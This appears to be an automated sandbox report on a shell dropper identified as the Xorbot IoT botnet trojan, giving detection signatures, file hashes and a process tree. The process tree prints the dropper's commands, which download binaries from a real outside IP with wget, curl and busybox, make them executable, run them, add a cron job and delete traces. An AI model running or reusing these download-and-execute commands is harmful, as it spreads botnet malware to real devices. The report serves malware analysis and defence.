Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/02/2025, 08:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-kwpbfa1rg1
  • SHA256 4399d2ee79ecb5deba7f77bb2b21aa5f302115624d0ac0ae2a52543ab183c82b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1955) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:657
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:661
      • /usr/bin/wget
        wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        2⤵
        • Writes file to tmp directory
        PID:666
      • /usr/bin/curl
        curl -O http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:686
      • /bin/busybox
        /bin/busybox wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        2⤵
        • Writes file to tmp directory
        PID:689
      • /bin/chmod
        chmod 777 XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        2⤵
        • File and Directory Permissions Modification
        PID:690
      • /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        ./XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:691
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:693
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:694
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:695
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:696
            • /bin/rm
              rm XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
              2⤵
                PID:698
              • /usr/bin/wget
                wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                2⤵
                  PID:701
                • /usr/bin/curl
                  curl -O http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                  2⤵
                    PID:702
                  • /bin/busybox
                    /bin/busybox wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                    2⤵
                    • Writes file to tmp directory
                    PID:703
                  • /bin/chmod
                    chmod 777 QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                    2⤵
                    • File and Directory Permissions Modification
                    PID:797
                  • /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                    ./QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                    2⤵
                      PID:798
                    • /bin/rm
                      rm QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                      2⤵
                        PID:801
                      • /usr/bin/wget
                        wget http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                        2⤵
                          PID:802
                        • /usr/bin/curl
                          curl -O http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                          2⤵
                            PID:803
                          • /bin/busybox
                            /bin/busybox wget http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                            2⤵
                            • Writes file to tmp directory
                            PID:806
                          • /bin/chmod
                            chmod 777 OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                            2⤵
                            • File and Directory Permissions Modification
                            PID:817
                          • /tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                            ./OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                            2⤵
                              PID:818
                            • /bin/rm
                              rm OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                              2⤵
                                PID:819
                              • /usr/bin/wget
                                wget http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                2⤵
                                  PID:823
                                • /usr/bin/curl
                                  curl -O http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                  2⤵
                                    PID:824
                                  • /bin/busybox
                                    /bin/busybox wget http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:826
                                  • /bin/chmod
                                    chmod 777 z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:829
                                  • /tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                    ./z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                    2⤵
                                      PID:830
                                    • /bin/rm
                                      rm z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                      2⤵
                                        PID:833
                                      • /usr/bin/wget
                                        wget http://194.85.251.8/bins/xR50rfgBJz55ek6y8H33jJGGiWiH60FRs4
                                        2⤵
                                          PID:834

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                                            • Path /tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
                                            • Size 117KB
                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                                            • Path /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
                                            • Path /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                            • Path /tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            tmp.iG6W5g
                                            • Path /var/spool/cron/crontabs/tmp.iG6W5g
                                            • Size 210B
                                            • SHA256 0de16309e1b277793b0449e8505bd8ed7a52bd2b25102f3dff11e40eedb2daff
                                            • MD5 SHA1 SHA512
                                            Submit Download